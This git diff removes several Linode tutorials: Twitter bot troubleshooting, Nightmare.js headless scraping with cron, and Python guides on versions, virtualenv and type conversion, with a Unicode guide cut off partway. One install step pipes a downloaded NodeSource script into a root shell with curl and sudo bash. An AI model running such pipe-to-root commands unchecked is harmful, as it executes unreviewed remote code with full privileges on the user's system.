NODE_ENV=develop node snes.js - -SNES Soundtracks booting up -node:events:342 - throw er; // Unhandled 'error' event - ^ - -Error: Bad Twitter streaming request: 401 - at Object.exports.makeTwitError (/home/tutorialbotuser/snes-soundtracks/node_modules/twit/lib/helpers.js:74:13) - at Request. (/home/tutorialbotuser/snes-soundtracks/node_modules/twit/lib/streaming-api-connection.js:96:29) - at Request.emit (node:events:377:35) - at Gunzip. (/home/tutorialbotuser/snes-soundtracks/node_modules/request/request.js:1076:12) - at Object.onceWrapper (node:events:471:28) - at Gunzip.emit (node:events:365:28) - at endReadableNT (node:internal/streams/readable:1312:12) - at processTicksAndRejections (node:internal/process/task_queues:83:21) -Emitted 'error' event on StreamingAPIConnection instance at: - at Request. (/home/tutorialbotuser/snes-soundtracks/node_modules/twit/lib/streaming-api-connection.js:99:14) - at Request.emit (node:events:377:35) - [... lines matching original stack trace ...] - at processTicksAndRejections (node:internal/process/task_queues:83:21) { - code: null, - allErrors: [], - twitterReply: '\\n\\n\\nError 401 Unauthorized\n' + - '\n' + - '\n' + - '

HTTP ERROR: 401

\n' + - "

Problem accessing '/1.1/statuses/filter.json'. Reason:\n" + - '

    Unauthorized
\n' + - '\n' + - '\n', - statusCode: 401 -} -{{< /output >}} - -This error indicates that incorrect keys were copied into your `.env` file. You may have also associated the `.env` key names with the wrong credential from the Twitter developer portal. Review the table below for the correct associations between the `.env` file and the Twitter developer portal credentials. - -| .env Key Name | Twitter Developer Portal Credential Name | -|---------------|------------------------------------------| -| `consumer_key` | API Key | -| `consumer_secret` | API Secret Key | -| `access_token` | Access Token | -| `access_token_secret` | Access Token Secret | - -If you're not sure whether your keys are correct, you can regenerate them inside the Twitter developer portal. See the [Regenerate API Keys and Tokens](https://developer.twitter.com/en/docs/authentication/guides/authentication-best-practices) section of Twitter's documentation for instructions. - -### Troubleshooting Twitter Read Only Application Cannot POST Error - -When your bot attempts to tweet, you may see an error like this in its logs: - -{{< output >}} -Read-only application cannot POST. -{{< /output >}} - -This error indicates that your app's permissions are set to Read Only in the Twitter developer portal. Follow the instructions in the [Give your Twitter App Read and Write Permissions](#give-your-twitter-app-read-and-write-permissions). This section shows how to switch to Read and Write permissions and how to regenerate your Access Token and Access Token Secret. \ No newline at end of file diff --git a/docs/guides/development/nodejs/use-nightmarejs-to-automate-headless-browsing/index.md b/docs/guides/development/nodejs/use-nightmarejs-to-automate-headless-browsing/index.md deleted file mode 100644 index 5f855f36cc4..00000000000 --- a/docs/guides/development/nodejs/use-nightmarejs-to-automate-headless-browsing/index.md +++ /dev/null @@ -1,158 +0,0 @@ ---- -slug: use-nightmarejs-to-automate-headless-browsing -title: 'Use Nightmare.js to Automate Headless Browsing' -description: 'Automate browsing tasks with Nightmare.js, a high-level browser automation library.' -og_description: 'Nightmare.js is an automated, headless browsing tool that can be configured to self-navigate websites, automate data scraping, and quicken QA.' -authors: ["Nashruddin Amin"] -contributors: ["Nashruddin Amin"] -published: 2017-10-09 -keywords: ["nightmare.js", " node.js", " headless browser", " automation"] -tags: ["automation", "ubuntu"] -license: '[CC BY-ND 4.0](https://creativecommons.org/licenses/by-nd/4.0)' -external_resources: - - '[Nightmare.js Homepage](http://www.nightmarejs.org/)' - - '[Nightmare.js Github Repository](https://github.com/segmentio/nightmare)' -audiences: ["intermediate"] -concentrations: ["Scripting, Automation, and Build Tools"] -languages: ["javascript"] -aliases: ['/development/nodejs/use-nightmarejs-to-automate-headless-browsing/'] ---- - -![Use Nightmare.js to Automate Headless Browsing](nightmarejs-automate-headless-browsing-title.jpg "Use Nightmare.js to Automate Headless Browsing") - -**Nightmare.js** is a high-level browser automation library, designed to automate browsing tasks for sites that don't have APIs. The library itself is a wrapper around [Electron](https://electron.atom.io/), which Nightmare.js uses as a browser to interact with web sites. This guide helps you install Nightmare.js on Ubuntu 16.04 and run automation scripts without the need for a graphical user interface. - -## Before You Begin - -1. Familiarize yourself with our [Getting Started](https://techdocs.akamai.com/cloud-computing/docs/getting-started) guide and complete the steps for setting your Linode's hostname and timezone. - -2. This guide will use `sudo` wherever possible. Complete the sections of our [Securing Your Server](https://techdocs.akamai.com/cloud-computing/docs/set-up-and-secure-a-compute-instance) to create a standard user account, harden SSH access and remove unnecessary network services. - -3. Update your system: - - sudo apt-get update && sudo apt-get upgrade -{{< note >}} -This guide is written for a non-root user. Commands that require elevated privileges are prefixed with `sudo`. If you’re not familiar with the `sudo` command, see the [Users and Groups](/cloud/guides/linux-users-and-groups/) guide. - -{{< /note >}} - -## Install Node.js - -The Ubuntu 16.04 repository is slower to release recent versions of Node.js. Install the most recent available version through the NodeSource PPA (formerly Chris Lea's Launchpad PPA). - -1. Install the NodeSource PPA: - - curl -sL https://deb.nodesource.com/setup_6.x | sudo -E bash - - - {{< note respectIndent=false >}} -This command fetches the latest version of Node.js 6. To install a [specific version](https://nodejs.org/en/download/releases/), replace the `6.x` in this example. - -{{< /note >}} - -2. Install Node.js and NPM with the following command: - - sudo apt-get install -y nodejs - -3. Confirm that Node.js is successfully installed: - - node --version - -4. Check that the NPM command-line tool is successfully installed as well: - - npm --version - -## Install Nightmare.js - -To avoid installing the Node packages for the system globally, install Nightmare.js in a specific directory. This examples creates a `automation` directory within the current user's home directory as the base the project. - -1. Create and switch to the `automation` directory: - - mkdir ~/automation && cd ~/automation - -2. Initialize an NPM project. NPM prompts you to provide a name, repository, and other details for the project. Accept the default values or assign whatever names your want. To accept the defaults automatically, add the `-f` force flag to this example: - - npm init - -3. Install Nightmare.js: - - npm install --save nightmare - -## Create and Run the Automation Script - -Nightmare.js is an NPM module, so it can be imported from within a Node.js script. Use these examples to write a simple script that will search Linode's documentation for guides about Ubuntu. - -1. Nightmare.js uses the Electron browser and requires an X server. Install `xvfb` and its dependencies so that you can run graphical applications without display hardware: - - sudo apt-get install -y xvfb x11-xkb-utils xfonts-100dpi xfonts-75dpi xfonts-scalable xfonts-cyrillic x11-apps clang libdbus-1-dev libgtk2.0-dev libnotify-dev libgnome-keyring-dev libgconf2-dev libasound2-dev libcap-dev libcups2-dev libxtst-dev libxss1 libnss3-dev gcc-multilib g++-multilib - -2. Create `linode.js` inside the automation directory and add the following: - - {{< file "~/automation/linode.js" javascript >}} -const Nightmare = require('nightmare'); -const nightmare = Nightmare({show: true}); - - -nightmare - .goto('https://www.linode.com/docs') - .insert('.ais-SearchBox-input', 'ubuntu') - .click('.ais-SearchBox-submit') - .wait('.ais-Hits-list') - .evaluate(function() { - let searchResults = []; - - const results = document.querySelectorAll('a.c-search__result__link'); - results.forEach(function(result) { - let row = { - 'title':result.innerText, - 'url':result.href - } - searchResults.push(row); - }); - return searchResults; - }) - .end() - .then(function(result) { - result.forEach(function(r) { - console.log('Title: ' + r.title); - console.log('URL: ' + r.url); - }) - }) - .catch(function(e) { - console.log(e); - }); - -{{< /file >}} - - -3. Run the script: - - xvfb-run node linode.js - - The script visits the [Linode docs](/cloud/) page, enters 'Ubuntu' into the input box, and clicks the submit button. It then waits for the results to load and prints the url and title each entry on the first page of results. - - The output will resemble the following: - - Title: How to Install a LAMP Stack on Ubuntu 16.04 - URL: https://www.linode.com/docs/web-servers/lamp/install-lamp-stack-on-ubuntu-16-04 - Title: Install and Configure MySQL Workbench on Ubuntu 16.04 - URL: https://www.linode.com/docs/databases/mysql/install-and-configure-mysql-workbench-on-ubuntu - Title: Install MongoDB on Ubuntu 16.04 (Xenial) - URL: https://www.linode.com/docs/databases/mongodb/install-mongodb-on-ubuntu-16-04 - ... - -## Add a Cron Job to Run the Automation Script - -This example automates the script to run once every hour. It changes to the `~/automation/` directory, runs the scraping script, and saves the output to a file with a unique filename that includes the date and time it ran. - -For more information about using Cron, see our [Schedule Tasks with Cron](/cloud/guides/schedule-tasks-with-cron/) guide. - -1. Open the crontab file: - - crontab -e - -2. Add the following line to the end of the file: - - {{< file "crontab" cron >}} -0 * * * * cd ~/automation && xvfb-run node linode.js >> data_$(date +\%Y_\%m_\%d_\%I_\%M_\%p).txt - -{{< /file >}} diff --git a/docs/guides/development/python/check-python-version/index.md b/docs/guides/development/python/check-python-version/index.md deleted file mode 100644 index 18898825525..00000000000 --- a/docs/guides/development/python/check-python-version/index.md +++ /dev/null @@ -1,87 +0,0 @@ ---- -slug: check-python-version -title: "Check Your Python Version" -title_meta: "How to Check Which Python Version Is Installed" -description: "Knowing your Python version can make the difference between an application running or frustratingly failing. Thankfully, there is a quick command, and even some Python script, to check your currently installed Python version. Find out all you need to know about getting your Python version in this guide." -authors: ["Nathaniel Stickman"] -contributors: ["Nathaniel Stickman"] -published: 2022-08-15 -keywords: ['check python version','how to check python version','python version command'] -license: '[CC BY-ND 4.0](https://creativecommons.org/licenses/by-nd/4.0)' -external_resources: -- '[phoenixNAP: How to Check Python Version in Linux, Mac, & Windows](https://phoenixnap.com/kb/check-python-version)' -- '[LearnPython: How to Check Your Python Version](https://learnpython.com/blog/check-python-version/)' ---- - -Python reigns as one of the most popular programming languages, with a wide range of programs and developer tools relying on it. In fact, your system likely already has at least one version of Python installed. - -Many tools and Python development libraries require a particular version of Python. Thus, you may want to know where you can find information on your installed Python version. This can help you make decisions about compatibility, upgrades, and more. - -This tutorial shows you how to check your Python version, for both Python 2 and Python 3. Here, you can find the command line method as well as a Python script method for retrieving the current Python version. - -## How to Check the Python Version from the Command Line - -The Python command comes with a command line option of `--version` that allows you to see your installed version. - -It works just as straightforwardly as it sounds. Enter the following command from your command line, and you should get an output similar to the one shown below: - - python --version - -{{< output >}} -Python 3.8.10 -{{< /output >}} - -### Python 2 vs Python 3 - -Some systems distinguish between Python 2 and Python 3 installations. In these cases, to check your version of Python 3, you need to use the command `python3` instead of `python`. - -In fact, some systems use the `python3` command even when they do not have Python 2 installed alongside Python 3. In these cases, you only have the `python3` command. - -The command for checking the installed version of Python 3 remains otherwise the same - just use `python3` with the `--version` option: - - python3 --version - -## How to Check the Python Version from Python - -You can also check your installed Python version from within Python itself. Using either a script or the Python shell, you can use one of the code snippets below to print your Python version. - -Both options work equally well regardless of your system. The choice of which option to use really comes down to what format you want the output in. - -### Using sys - -The `sys` module has a variable you can reference to get the current Python version. Below you can see an example of how the `sys` module's `version` variable renders the current Python version. This code first imports the `sys` module then prints out the contents of the `version` variable: - -```python -import sys - -print(sys.version) -``` - -{{< output >}} -3.8.10 (default, Jun 22 2022, 20:18:18) -[GCC 9.4.0] -{{< /output >}} - -As you can see, the `sys.version` variable contains more information about your installed Python version than just the number. For that reason, `sys` is a good module to turn to when you want more verbose version information. - -### Using platform - -The `platform` module includes a function that fetches the current version of Python. The example code below uses this function to print the current Python version number. It first imports the `platform` module; then, the `python_version` function returns the version number to the `print` function: - -```python -import platform - -print(platform.python_version()) -``` - -{{< output >}} -3.8.10 -{{< /output >}} - -The output from the `platform.python_version` is more minimal compared to the `sys` module's `version` variable. This makes the `platform` module more useful for cases when you only need the version number. For example, this method helps when you want to design a program to parse the Python version and act accordingly. - -## Conclusion - -With that, you have everything you need for checking your current Python version. The steps above cover you whether you need to see the Python version from the command line or from within a Python script. - -You can continue learning about Python with our collection of [Python guides](/cloud/guides/development/python/). We cover everything from fundamental Python concepts to building Python web applications. diff --git a/docs/guides/development/python/create-a-python-virtualenv-on-centos-8/index.md b/docs/guides/development/python/create-a-python-virtualenv-on-centos-8/index.md deleted file mode 100644 index 2466f3382f1..00000000000 --- a/docs/guides/development/python/create-a-python-virtualenv-on-centos-8/index.md +++ /dev/null @@ -1,100 +0,0 @@ ---- -slug: create-a-python-virtualenv-on-centos-8 -title: Creating a Python Virtual Environment on CentOS 8 -title_meta: How to Create a Python Virtual Environment on CentOS 8 -description: This guide provides a brief introduction to Python virtual environments using the virtualenv tool on CentOS 8. -authors: ["Linode"] -contributors: ["Linode"] -published: 2017-08-13 -modified: 2020-04-07 -keywords: ["python", "python virtual environment", "virtualenv", "centos 8"] -tags: ["python","centos"] -license: '[CC BY-ND 4.0](https://creativecommons.org/licenses/by-nd/4.0)' -external_resources: -- '[virtualenv Official Documentation](http://virtualenv.pypa.io/)' -audiences: ["beginner"] -languages: ["python"] -image: Python_virtualenv_CentOS8.png -relations: - platform: - key: python-virtual-env - keywords: - - distribution: CentOS 8 -aliases: ['/development/python/create-a-python-virtualenv-on-centos-8/'] ---- - -## What is a Python Virtual Environment? - -A Python virtual environment is an isolated project space on your system that contains its own Python executable, packages, and modules. Your Python applications and projects often have their own specific dependencies. With a virtual environment you can manage each of your project's distinct dependencies without having them interfere with each other. You can use the [*virtualenv*](https://pypi.org/project/virtualenv/) tool to create a virtual environment on your system. This guide will show you how to use virtualenv to create and run a Python virtual environment on a CentOS 8 Linode. - - -## Before You Begin - -1. Complete the [Getting Started](https://techdocs.akamai.com/cloud-computing/docs/getting-started) and [Securing Your Server](https://techdocs.akamai.com/cloud-computing/docs/set-up-and-secure-a-compute-instance) guides to prepare your system. - -1. Update your system: - - sudo yum update - - {{< note respectIndent=false >}} -This guide is written for a non-root user. Commands that require elevated privileges are prefixed with `sudo`. If you're not familiar with the `sudo` command, you can check our [Users and Groups](/cloud/guides/linux-users-and-groups/) guide. - {{< /note >}} - -## Create a Python Virtual Environment -{{< note >}} -CentOS 8 does not include any version of Python by default. To install Python on CentOS 8, read our guide on [installing Python 3 on CentOS 8](/cloud/guides/how-to-install-python-on-centos-8/) -{{< /note >}} - -1. To install Python's virtual environment: - - sudo yum install virtualenv - -1. Create a `python-environments` directory in your user's home directory and navigate to it: - - mkdir ~/python-environments && cd ~/python-environments - -1. Create a Python virtual environment. By default, virtualenv attempts to use your system's default Python interpreter to create a new environment. Replace `env` with the name you would like to assign to your virtual environment. - - virtualenv env - - {{< note respectIndent=false >}} -If your CentOS 8 system has another version of Python installed and you'd like to use it to create your virtual environment, use the e`--python` option to designate it. For example: - - virtualenv --python=python2.7 env - {{< /note >}} - -1. Validate that your environment is installed with the version of Python that you expect: - - ls env/lib - - You should see your `env` environments Python version: - - {{< output >}} -python3.6.8 - {{}} - -## Activate Your Virtual Environment - -1. Activate the newly created virtual environment: - - source env/bin/activate - - The name of the working environment appears in parentheses after it's created. - - {{< output >}} -(env) example_user@hostname:~/python-environments$ - {{}} - - You can now begin installing Python packages and libraries that will remain isolated to your virtual environment. - -## Deactivate a Virtual Environment - -1. To deactivate an active virtual environment, issue the following command: - - deactivate - - Your virtual environment is deactivated and you should no longer see its name listed next to your command line's prompt - - {{< output >}} -example_user@hostname:~/python-environments$ - {{}} diff --git a/docs/guides/development/python/how-to-convert-datatypes-in-python/index.md b/docs/guides/development/python/how-to-convert-datatypes-in-python/index.md deleted file mode 100644 index 2cb20d1c4ea..00000000000 --- a/docs/guides/development/python/how-to-convert-datatypes-in-python/index.md +++ /dev/null @@ -1,262 +0,0 @@ ---- -slug: how-to-convert-datatypes-in-python -title: "Convert Data Types in Python" -title_meta: "How to Convert Data Types in Python" -description: 'Learn how to convert various data types to other data types in Python using built in functions. For example, learn to convert a string to an int in Python.' -authors: ["Jeff Novotny"] -contributors: ["Jeff Novotny"] -published: 2022-06-03 -keywords: ['convert data type python','How to convert data types in python','convert string to int python'] -license: '[CC BY-ND 4.0](https://creativecommons.org/licenses/by-nd/4.0)' -external_resources: -- '[Python String documentation](https://docs.python.org/3/library/string.html)' -- '[Standard Python types](https://docs.python.org/3/library/stdtypes.html)' -- '[Advanced Python types](https://docs.python.org/3/library/datatypes.html)' ---- - -Python is a dynamically typed language, so programmers might not always consider the type of each variable they create. However, the type of a variable is often important, and it might be necessary to convert it to another data type. This guide explains how typecasting works and illustrates how to convert data types in Python. It covers several common examples, such as how to convert an integer to a string. - -## Convert Data Types in Python: An Introduction - -Python, like most programming languages, supports a wide range of *data types*. Python is considered a *strongly typed* language, so each variable always has a type. The type of a variable governs the data it can represent and constrains how it can be used. Some common Python data types include integer, float, string, list, dictionary, and set. In Python, an object's type defines its methods and the set of operations it supports. For instance, it is possible to calculate the exponent of an integer, but not of a string. For more information about Python data types, see the [*documentation for standard types*](https://docs.python.org/3/library/stdtypes.html) and [*advanced types*](https://docs.python.org/3/library/datatypes.html). - -In addition to being strongly typed, Python is also *dynamically typed*. This means the type of a variable is determined only at run time. The Python interpreter does not perform any type checking in advance. In addition, the type of a Python variable can change over the course of a program. Statically typed languages such as C++ do not permit this. - -It is possible to change the data type of a variable in Python through *datatype conversion*. Datatype conversion allows variables to be used more effectively within the program. For example, an integer can be converted into a string, allowing it to be appended to another string. There are two different methods used to convert data types in Python. - -**Implicit type conversion**: Python automatically performs implicit type conversion without user intervention. It can elevate a lower-order data type, such as an integer, to a higher-order type like a float. Python can initiate this conversion because any integer can be unambiguously represented as a float. There is no chance of misinterpreting the intent of this operation. Implicit conversion avoids the loss of any data and is highly convenient. However, it does not work in all cases. - -**Explicit type conversion**: This is also known as *typecasting*. An explicit conversion must be performed manually using one of Python's built-in methods. This is necessary when the conversion is not straightforward and the intent of the operation is not clear. Some explicit type conversions can cause data loss. - -The Python `type` function is used to determine the type of the data. In this example, `x` is of type `int`, while `y` is of type `float`. - - x = 10 - y = 10.01 - print(type(x)) -{{< output >}} - -{{< /output >}} - - print(type(y)) -{{< output >}} - -{{< /output >}} - -## Before You Begin - -Ensure Python is already installed on your machine and you understand how to launch and use the Python programming environment. To run Python on Ubuntu, use the command `python3`. For more information regarding how to use Python, see the [Linode guide to Python](/cloud/guides/how-to-install-python-on-ubuntu-20-04/). - -## Converting Integers and Floats in Python - -Both floats and integers represent numerical values. A float number has a decimal point, while an integer does not. A float can more precisely represent a number, but integers make more sense when dealing with countable values. An integer can always be represented as a float, but most floats cannot be represented as integers without a loss of precision. - -This process of converting between integers and floats is relatively straightforward, because both types represent numerical data. Additional methods exist to convert integers to other formats, such as hexadecimal strings. The following examples illustrate the main methods used to convert numerical data types in Python. - -### Converting Integers to Floats - -The built-in Python function `float()` converts an integer to a float. It accepts a single integer and returns its float equivalent in the proper format, complete with a decimal point. - - x = 10 - z = float(x) - print("z is", z, "and is of type", type(z)) -{{< output >}} -z is 10.0 and is of type -{{< /output >}} - -Python can automatically elevate an integer to a float using implicit type conversion. Therefore, if the result of `float(x)` is reassigned to `x`, `x` changes type and becomes a float. - - x = 10 - x = float(x) - print("x is", x, "and is of type", type(x)) -{{< output >}} -x is 10.0 and is of type -{{< /output >}} - -When an integer and a float are added or multiplied together, the result is a float. - - x = 10 - y = 5.2 - z = x + y - print("z is", z, "and is of type", type(z)) -{{< output >}} -z is 15.2 and is of type -{{< /output >}} - -This occurs even if the answer can be perfectly represented as an integer. In this example, the result is `52`, but it is represented as a float containing the value `52.0`. - - z = x * y - print("z is", z, "and is of type", type(z)) -{{< output >}} -z is 52.0 and is of type -{{< /output >}} - -As of Python 3, when two integers are divided, the result is a float. The numerator and denominator are both internally pre-converted to floats before the operation. This means the result is a float even if the modulus is zero. - -{{< note >}} -Python 2 returns an integer in this case. -{{< /note >}} - - x = 6 - y = 3 - z = x / y - print("z is", z, "and is of type", type(z)) -{{< output >}} -z is 2.0 and is of type -{{< /output >}} -{{< note >}} -The closely-related `hex()` and `oct()` methods can convert an integer to its hexadecimal or octal string equivalent. -{{< /note >}} - -### Converting Floats to Integers - -To convert a float data type to an integer in Python, use the `int()` function. This function removes the fractional component of the float, also known as the [mantissa](https://en.wikipedia.org/wiki/Significand), during the conversion. - - x = 50.8 - x = int(x) - print("x is", x, "and is of type", type(x)) -{{< output >}} -x is 50 and is of type -{{< /output >}} - -This conversion leads to some data loss. The truncated portion is not recovered even if the variable is converted back to a float. - - x = float(x) - print("x is", x, "and is of type", type(x)) -{{< output >}} -x is 50.0 and is of type -{{< /output >}} - -To convert a float to the **nearest** integer, use the `round()` function instead. - - x = 50.8 - x = round(x) - print("x is", x, "and is of type", type(x)) -{{< output >}} -x is 51 and is of type -{{< /output >}} -{{< note >}} -Some information is permanently lost whenever a float is converted to an integer. This can have drastic effects on the accuracy of future calculations. Ensure you understand the implications of this data loss within the context of your program before proceeding. When in doubt, create a new variable to store the converted value. -{{< /note >}} - -## Converting Strings in Python - -A Python string consists of an immutable sequence of Unicode characters, and is represented internally as an array. The individual characters in a string can be accessed using *string indexing*, which is similar to [how list items are accessed](/cloud/guides/python-lists-and-how-to-use-them/). Python string indexing is zero-based, so the index `[1]` refers to the second character in the string. Python provides a number of built-in methods for use in string processing and manipulation. - -Integers can be converted to strings and vice versa. Strings can also be converted to complex data types including lists, sets, and tuples. For more information on strings, see the [*Python documentation*](https://docs.python.org/3/library/string.html). - -### Converting Int to String in Python - -Adding an integer and a string is more complicated than adding two numbers. The integer could potentially be treated as a string, but the string could also be converted to an integer. For instance, should the operation `14 + "12"` result in the string `1412` or the numerical value `26`? To resolve any confusion, a Python string and integer cannot be added together or concatenated. Both entities must have the same type. Either the integer must be changed to a string, or the string must be converted to an integer. In the following example, adding a string to an integer results in an error. - - x = 12 - y = "23" - z = x + y -{{< output >}} -Traceback (most recent call last): -File "", line 1, in -TypeError: unsupported operand type(s) for +: 'int' and 'str' -{{< /output >}} - -To convert an `int` to a string in Python, use the built-in function `str()`. When an integer is passed to the `str()` function, it is converted to a text representation of the number. The following example uses the `str()` function to perform type conversion on the integer variable `x`, allowing it to be concatenated to another string. The end result of the operation is another string. - - x = 12 - y = "23" - z = str(x) + y - print("z is", z, "and is of type", type(z)) -{{< output >}} -z is 1223 and is of type -{{< /output >}} - -This approach is frequently used to print text consisting of both strings and numbers. The numerical component is converted to a string when it is passed to the `print()` function. - - print(str(x) + y) -{{< output >}} -1223 -{{< /output >}} - -The `str()` function can also be used to convert other data types, such as a float, to strings. This function accepts a floating point number and converts it to a string, with the decimal point and fractional component still intact. - -### Convert String to Int in Python - -Mathematical operations cannot be performed on string objects. They must be converted to numbers first. Fortunately, Python's built-in `int()` function is very flexible and can convert several data types to integers. This function accepts any string that can be converted to an integer, and returns an integer representation. If the string cannot represent an integer, Python throws an error. The following example demonstrates how to convert a string to an `int` in Python. - - x = "101" - z = int(x) - print("z is", z, "and is of type", type(z)) -{{< output >}} -z is 101 and is of type -{{< /output >}} - -This function can be used to add a string representation of an integer to an actual integer. This code sample converts the string to an integer, allowing the two numbers to be added together. This contrasts with the earlier example, which used `str()` to perform a string concatenation. - - x = 12 - y = "23" - z = x + int(y) - print("z is", z, "and is of type", type(z)) -{{< output >}} -z is 35 and is of type -{{< /output >}} - -When passing a string to `int()`, it is possible to add an optional argument indicating the base of the number. For instance, `int("101", 2)` indicates the binary string `101` is equivalent to `5` in decimal notation. It is not the integer `101`. If a base is not provided, Python assumes it is a base-10 decimal number. - - x = "101" - z = int(x,2) - print("z is", z, "and is of type", type(z)) -{{< output >}} -z is 5 and is of type -{{< /output >}} - -Strings can also be converted to floats using the `float()` function. Python cannot automatically convert a float-like string to an integer. This function must be used if the string has a decimal point, and the string must represent a float. - - x = "10.00" - z = float(x) - print("z is", z, "and is of type", type(z)) -{{< output >}} -z is 10.0 and is of type -{{< /output >}} -{{< note >}} -Do not confuse the `int()` function with `ord()`. `ord()` converts a character to its ASCII integer representation. This function uses the [*character to ASCII conversion table*](https://www.ibm.com/docs/en/sdse/6.4.0?topic=configuration-ascii-characters-from-33-126) to determine the ASCII values. -{{< /note >}} - -### Converting Strings to Lists - -In Python, a *list* is an ordered array of objects. The items are mutable, so they can be changed. Items can be added, removed, or modified. Lists also have a large collection of built-in methods, providing advanced processing features. A list is enclosed in square brackets `[ ]` with commas separating the items. An example of a list is `['aa', 'bb', 'cc']`. - -Lists and strings are conceptually very similar. Both are ordered sequences, and the individual items are accessed the same way. This makes it easy to convert a string to a list. The first letter in the string becomes item `[0]` in the list. The second letter becomes the second list item, and so on. - -{{< note >}} -The elements of a list can be strings or numbers, or even compound objects. However, strings can only contain a sequence of Unicode characters. [Lists can also be converted to strings in Python](/cloud/guides/python-lists-and-how-to-use-them/#convert-a-python-list-to-a-string), but the steps are more complicated. -{{< /note >}} - -To convert a Python string to a list, use the `list()` function and provide the string as input. This results in a list containing the characters in the original string, formatted in list notation. - - x = "test" - z = list(x) - print("z is", z, "and is of type", type(z)) -{{< output >}} -z is ['t', 'e', 's', 't'] and is of type -{{< /output >}} - -### Converting Strings to Tuples - -Strings are also easily converted to tuples. A Python *tuple* is almost the same as a list, except it is immutable. This means it cannot be changed after it is created. A tuple is always enclosed by parentheses `( )`. It is sometimes a more efficient data structure for string processing because it includes more built-in functions. - -To convert a string to a tuple, use the `tuple()` function. The characters in the string become the ordered elements of the tuple. - - x = "test" - z = tuple(x) - print("z is", z, "and is of type", type(z)) -{{< output >}} -z is ('t', 'e', 's', 't') and is of type -{{< /output >}} -{{< note >}} -Although it is relatively uncommon, a string can also be converted to a *set*. A set is an unordered collection of unique elements. Use the function `set()` and provide the string as a parameter. -{{< /note >}} - -To learn more about Python tuples, see our guide [An Introduction to Python Tuples](/cloud/guides/python-tuples/#convert-a-python-tuple-to-a-list). - -## Conclusion - -Although Python is a dynamically-typed language, type conversion is still very important. Python frequently uses implicit type conversion to elevate an integer to a float, making certain operations easier. However, developers often have to use explicit type conversion, changing a type using Python's built-in functions. - -This guide explains how to convert data types in Python. It is possible to convert a string to an integer in Python using the `int()` function, while the `str()` function converts an integer to a string. Integers can be converted to floats using `float()`, and floats can be changed to integers, although this can cause data loss. Other functions allow strings to be converted to array formats such as lists, tuples, and sets. \ No newline at end of file diff --git a/docs/guides/development/python/how-to-use-unicode-in-python3/index.md b/docs/guides/development/python/how-to-use-unicode-in-python3/index.md deleted file mode 100644 index 5890541893a..00000000000 --- a/docs/guides/development/python/how-to-use-unicode-in-python3/index.md +++ /dev/null @@ -1,399 +0,0 @@ ---- -slug: how-to-use-unicode-in-python3 -title: "How to Use Unicode in Python 3" -title_meta: "Using Unicode in Python 3" -description: 'This guide introduces the concept of Unicode to developers, explains how Python handles unicode, and demonstrates how to handle common errors' -authors: ["Jeff Novotny"] -contributors: ["Jeff Novotny"] -published: 2023-03-20 -keywords: ['Python unicode','Unicode python','Unicode error python','Python unicode to string'] -tags: ['python'] -license: '[CC BY-ND 4.0](https://creativecommons.org/licenses/by-nd/4.0)' -external_resources: -- '[Python Unicode Documentation](https://docs.python.org/3/howto/unicode.html)' -- '[Unicode site](https://home.unicode.org/)' -- '[Unicode 14.0 documentation](https://www.unicode.org/versions/Unicode14.0.0/)' -- '[Wikipedia ASCII page, including code points](https://en.wikipedia.org/wiki/ASCII)' -- '[Wikipedia UTF-8 page](https://en.wikipedia.org/wiki/UTF-8)' -- '[RFC 3629](https://datatracker.ietf.org/doc/html/rfc3629)' -- '[An explanation of the Unicode standard](https://jkorpela.fi/unicode/guide.html)' -- '[Python background on lexical analysis](https://docs.python.org/3/reference/lexical_analysis.html)' ---- - -Most of the time, using [*Unicode*](https://home.unicode.org/) characters in Python does not require extra effort. However, sometimes encoding and decoding do not work properly, which results in errors. To resolve these issues, this guide helps you understand how Python encodes and decodes Unicode. Fortunately, the Python library includes some powerful and useful utilities and built-in functions to manage these tasks. This guide introduces Unicode and the [*UTF-8*](https://en.wikipedia.org/wiki/UTF-8) character encoding and explains how Python handles Unicode. It also discusses some common Python Unicode errors and demonstrates how to resolve them. - -For an in-depth explanation of Unicode, read on, otherwise jump to [How Does Python Implement Unicode?](#how-does-python-implement-unicode) - -## An Introduction to Unicode on Python - -To properly understand how Python manages Unicode, you need to understand character processing. Computer files are written using a specific character set. A character set is a collection of characters used within a language or domain. For instance, the written English language maps to a character set containing 26 upper and lower case letters, along with punctuation marks. However, computers use a more formal collection called a *Coded Character Set* (CCS). - -In a CCS, each character is assigned a corresponding numerical value known as a *code point*. A set of code points makes it possible for a system to translate between the on-screen representation of each character and its binary equivalent. Every character set is also associated with a *code unit*. The code unit determines the size of each encoded character. For instance, a character set could encode every single character using 16 bits, or two bytes. The same code point could be associated with different code units in different encodings. For instance, the value `127` might be represented using 7, 8, 16, or 32 bits. Some formats even use a variable-length encoding. This means it is not possible to determine the binary representation of a character based on its code point. - -Text is decoded and encoded using a specific encoding standard. The encoding algorithm is known as a *codec*, which is a portmanteau of the coder/decoder. The system must know what codec to use to encode/decode the file correctly. Files can be decoded from bytes to characters and text can be encoded from characters to bytes. Format conversions can certainly become complicated, but most files use either the ASCII or Unicode format. - -## What is Unicode? - -Unicode is currently the most widely-used encoding standard. It was developed through the joint efforts of Xerox and Apple, but it is currently administered and maintained by the Unicode Consortium. Unicode has successfully unified pre-existing character sets and now serves as the international standard. Unicode has the goal of including every character used in the world's active writing systems. - -Unicode describes the list of available characters and their code points but does not describe how to map the code points to bytes. It also includes a formal Unicode name for each character. A variety of *character encoding schemes* (CES) can be applied to Unicode text to map the characters to bytes. - -The Unicode standard includes the following components: - -- **Character Repertoire**: This is the full set of characters that Unicode supports. Unicode currently defines nearly 150,000 characters. The repertoire is open to new additions, and additional characters are always being proposed. The characters are subdivided into several sub-components known as general categories. Some examples of general categories are `letter`, `mark`, `number`, and `symbol`. -- **Coded Character Set (CCS)**: Like other CCS systems, the Unicode standard maps each character to a code point. Each code point represents one and only one character. For instance, Unicode hexadecimal code point `1F6A6` represents the traffic light emoji 🚦. The Unicode code point for a given character can differ from the code points used in other systems, although all ASCII characters continue to use the ASCII code points. -- **Character Encoding Form (CEF)**: This component explains how to map code points to code units. -- **Character Encoding Scheme (CES)**: The encoding scheme maps code units to a sequence of bytes. It describes how to transmit files over a network and how to store character information in binary format. Unicode does not recommend a specific CES. Standards including UTF-8, UTF-32, or ISO/IEC 2022 can be used. However, UTF-8 is usually favored, mainly because it is more concise than the other systems. - -The Unicode character set includes all traditional ASCII characters, international writing scripts, symbols, and a large number of emojis. Unicode also contains various control and non-printable characters. Each Unicode letter is identified using the letter `U`, the `+` sign, and its code point. For example, the Unicode character having code point `639` is represented by the string `U+0639`. - -The Unicode code space is divided into seventeen planes to help structure and organize the collection. Related characters are placed within contiguous 